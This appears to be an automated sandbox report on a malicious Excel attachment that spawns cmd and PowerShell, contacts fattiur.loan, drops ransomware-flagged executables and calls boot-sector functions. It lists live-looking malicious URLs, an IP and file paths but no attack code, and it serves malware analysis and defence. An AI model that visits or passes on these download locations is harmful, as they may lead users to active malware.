Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:360824
Start time:14:10:18
Joe Sandbox Product:Cloud
Start date:12.09.2017
Overall analysis duration:0h 15m 22s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Documento n.3653_ft_copia.xls
Cookbook file name:defaultwindowsofficecookbook.jbs
Analysis system description:Windows 7 (Office 2010 v14.0.4, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:15
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies
  • HCA enabled
  • EGA enabled
  • VBA Instrumentation enabled
  • JavaScript Instrumentation enabled
Detection:MAL
Classification:mal100.evad.expl.winXLS@11/12@1/3
HCA Information:
  • Successful, ratio: 51%
  • Number of executed functions: 55
  • Number of non-executed functions: 45
EGA Information:
  • Successful, ratio: 100%
Cookbook Comments:
  • Sleeps bigger than 20000ms are automatically reduced to 500ms
  • Found application associated with file extension: .xls
  • Found Word or Excel or PowerPoint document
  • Simulate clicks
  • Found warning dialog
  • Click Ok
  • Number of clicks 1
  • Close Viewer
Warnings:
Show All
  • Exclude process from analysis (whitelisted): mscorsvw.exe, sppsvc.exe, OSPPSVC.EXE, WmiApSrv.exe, conhost.exe, WMIADAP.exe, dllhost.exe
  • Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: EXCEL.EXE, powershell.exe


Detection

StrategyScoreRangeReportingDetection
Threshold1000 - 100Report FP / FNmalicious


Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely more UI automation may extend behavior
Sample tries to load a library which is not present or installed on the analysis machine, adding the library might reveal more behavior
Uses HTTPS for network communication, use the 'Proxy HTTPS (port 443) to read its encrypted data' cookbook for further analysis



Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for dropped fileShow sources
Source: C:\Users\user\AppData\Roaming\Adobe\Acrobat\11.0\Security\CRLCache\818200132aebmoouht.exevirustotal: 17/65 detections: McAfee-GW-Edition: BehavesLike.Win32.BadFile.fc, AegisLab: Ransom.Hplocky.Sme!c, Paloalto: generic.ml, McAfee: Artemis!BA5406AD3647, TrendMicro: Ransom_HPLOCKY.SME, SentinelOne: static engine - malicious, Symantec: Trojan Horse, Cylance: Unsafe, ZoneAlarm: UDS:DangerousObject.Multi.Generic, TrendMicro-HouseCall: Ransom_HPLOCKY.SME, Rising: Malware.Heuristic!ET#90% (rdm+), Invincea: heuristic, CrowdStrike: malicious_confidence_100% (W), Kaspersky: UDS:DangerousObject.Multi.Generic, Endgame: malicious (high confidence), AhnLab-V3: Win-Trojan/Sagecrypt.Gen, Baidu: Win32.Trojan.WisdomEyes.16070401.9500.9999Perma Link
Antivirus detection for submitted fileShow sources
Source: Documento n.3653_ft_copia.xlsvirustotal: 5/58 detections TrendMicro: HEUR_VBA.O2, Symantec: Trojan.Mdropper, Qihoo-360: virus.office.qexvmc.1070, Ikarus: Win32.Outbreak, NANO-Antivirus: Trojan.Ole2.Vbs-heuristic.druvziPerma Link

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)Show sources
Source: global trafficDNS query: name: fattiur.loan
Potential document exploit detected (performs HTTP gets)Show sources
Source: global trafficTCP traffic: 192.168.1.16:49191 -> 54.201.153.38:443
Potential document exploit detected (unknown TCP traffic)Show sources
Source: global trafficTCP traffic: 192.168.1.16:49191 -> 54.201.153.38:443
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe

Networking:

barindex
Found strings which match to known social media urlsShow sources
Source: powershell.exeString found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: powershell.exeString found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: powershell.exeString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: fattiur.loan
Urls found in memory or binary dataShow sources
Source: powershell.exeString found in binary or memory: file://
Source: powershell.exeString found in binary or memory: file:///
Source: EXCEL.EXEString found in binary or memory: file:///c:
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.powershell.commands.diagnostics/1.0.0.0__31bf3856ad36
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.powershell.commands.management/1.0.0.0__31bf3856ad364
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.powershell.commands.utility/1.0.0.0__31bf3856ad364e35
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.powershell.consolehost/1.0.0.0__31bf3856ad364e35/micr
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.powershell.security/1.0.0.0__31bf3856ad364e35/microso
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/microsoft.wsman.management/1.0.0.0__31bf3856ad364e35/microsoft.
Source: powershell.exeString found in binary or memory: file:///c:/windows/assembly/gac_msil/system.management.automation/1.0.0.0__31bf3856ad364e35/system.m
Source: powershell.exeString found in binary or memory: file:///c:/windows/system32/windowspowershell/v1.0/gj
Source: powershell.exeString found in binary or memory: file:///c:/windows/system32/windowspowershell/v1.0/uj
Source: EXCEL.EXE, powershell.exeString found in binary or memory: http://
Source: powershell.exeString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: powershell.exeString found in binary or memory: http://cert.int-x3.letsencrypt.org/0)
Source: powershell.exeString found in binary or memory: http://cps.letsencrypt.org0
Source: powershell.exeString found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: powershell.exeString found in binary or memory: http://crl.comodo.net/utn-userfirst-hardware.crl0q
Source: powershell.exeString found in binary or memory: http://crl.comodoca.com/utn-userfirst-hardware.crl06
Source: powershell.exeString found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exeString found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exeString found in binary or memory: http://crl.identrust.com/dstrootcax3crl.crl0
Source: powershell.exeString found in binary or memory: http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0
Source: powershell.exeString found in binary or memory: http://crl.pkioverheid.nl/domovlatestcrl.crl0
Source: powershell.exeString found in binary or memory: http://crl.usertrust.com/utn-userfirst-object.crl0)
Source: powershell.exeString found in binary or memory: http://crt.comodoca.com/utnaddtrustserverca.crt0$
Source: powershell.exeString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: powershell.exeString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exeString found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: powershell.exeString found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: EXCEL.EXEString found in binary or memory: http://myserver/mydoc.htm
Source: EXCEL.EXEString found in binary or memory: http://na&me:a
Source: powershell.exeString found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exeString found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exeString found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exeString found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exeString found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exeString found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exeString found in binary or memory: http://ocsp.entrust.net0d
Source: powershell.exeString found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
Source: powershell.exeString found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/cimbinding/associationfilter
Source: powershell.exeString found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/cimbinding/associationfilter4
Source: powershell.exeString found in binary or memory: http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter
Source: powershell.exeString found in binary or memory: http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd#identifyresponse
Source: powershell.exeString found in binary or memory: http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd#identifyresponsep
Source: powershell.exeString found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exeString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: EXCEL.EXE, Documento n.3653_ft_copia.xlsString found in binary or memory: http://www.pcdazero.it
Source: EXCEL.EXEString found in binary or memory: http://www.pcdazero.itl
Source: powershell.exeString found in binary or memory: http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0
Source: powershell.exeString found in binary or memory: http://www.public-trust.com/cps/omniroot.html0
Source: powershell.exe, qBqrnAqZqca.exe, 818200132aebmoouht.exe, 818200132aebmoouht.exe.8.dr, qBqrnAqZqca.exe.5.drString found in binary or memory: http://www.sno.phy.queensu.ca/~phil/exiftool/
Source: powershell.exeString found in binary or memory: http://www.usertrust.com1
Source: powershell.exeString found in binary or memory: https://fattiur.
Source: EXCEL.EXEString found in binary or memory: https://fattiur.l
Source: EXCEL.EXE, Documento n.3653_ft_copia.xlsString found in binary or memory: https://fattiur.lo
Source: powershell.exeString found in binary or memory: https://fattiur.loan
Source: powershell.exe, Documento n.3653_ft_copia.xlsString found in binary or memory: https://fattiur.loan/atto
Source: powershell.exeString found in binary or memory: https://fattiur.loan/attop
Source: powershell.exeString found in binary or memory: https://fattiur.p
Source: powershell.exeString found in binary or memory: https://letsencrypt.org/repository/0
Source: powershell.exeString found in binary or memory: https://secure.comodo.com/cps0
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 49191 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49191

Boot Survival:

barindex
Contains functionality to infect the boot sectorShow sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVol8_1_5E3AE35E
